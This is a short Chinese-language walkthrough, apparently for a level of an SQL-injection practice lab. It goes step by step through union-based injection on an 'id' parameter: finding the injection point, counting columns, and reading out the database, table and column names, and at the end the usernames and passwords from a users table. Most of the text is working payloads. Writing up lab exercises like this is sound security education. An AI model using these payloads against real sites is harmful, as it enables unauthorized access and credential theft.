1.寻找注入点(和数据库有交互 ?aa=bbb )
?id=1
2.判断闭合方式
先判断数字型、字符型
在后面输入 ?id=1asdf (报错数字型,不报错字符型)
在判断闭合方式
看输入内容后面符号(无符号)
3.判断列数
?id=1 order by 3 --+
(与第一关相同,去掉单引号)
4.联合查询
?id=-1 union select 1,2,3 --+
5.获取数据库名
?id=-1 union select 1,database(),3 --+
(还是与第一关相同,去掉单引号)
6.获取表名
?id=-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
7.获取列名
?id=-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+
8.获取具体数据
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
concat_ws 将username和password用波浪号(~)进行隔开,(使用十六进制的波浪号0x7e)
group_concat将所有数据聚合在一行进行显示